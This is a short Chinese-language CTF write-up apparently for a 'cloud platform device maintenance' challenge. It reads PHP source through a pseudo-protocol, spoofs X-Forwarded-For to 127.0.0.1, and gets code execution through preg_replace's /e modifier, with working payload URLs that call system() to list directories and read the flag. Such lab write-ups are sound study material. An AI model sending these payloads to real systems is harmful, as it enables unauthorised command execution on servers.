原作者:admin
[原理]
文件包含读源码、x-forwarded-for
preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。
[目的]
掌握正则表达式、伪协议读取源码
[环境]
windows
[工具]
firefox、burp
[步骤]
1.进入云平台设备维护中心页面,利用PHP伪协议读取源码。
2.将得到的源码进行base64解密处理,获取到index.PHP的源码,在121行可以发现后门,如图所示。
3.对此段代码进行审计,可以发现需要将X_FORWARDED_FOR设置为127.0.0.1,并且用get方式传递三个参数传递给preg_replace函数。
这里介绍一下preg_replace函数:
其实就是PHP里的正则表达式,这里的正则匹配我需要单独写一篇关于正则的博客。等待后续吧....
4.使用burp修改http请求头参数,添加X_FORWARDED_FOR,将url设置为
/index.PHP?pat=/(.*)/e&rep=system(‘ls‘)&sub=aa 可以查看文件列表,如图所示。
5.将url设置为 /index.PHP?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir‘)&sub=aa 查看s3chahahaDir文件夹,发现flag文件夹。
6.将url设置为 /index.PHP?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir/flag‘)&sub=aa 查看flag文件夹,发现flag.PHP文件。
7.将url设置为 /index.PHP?pat=/(.*)/e&rep=system(‘cat+s3chahahaDir/flag/flag.PHP‘)&sub=aa 查看flag,如图所示。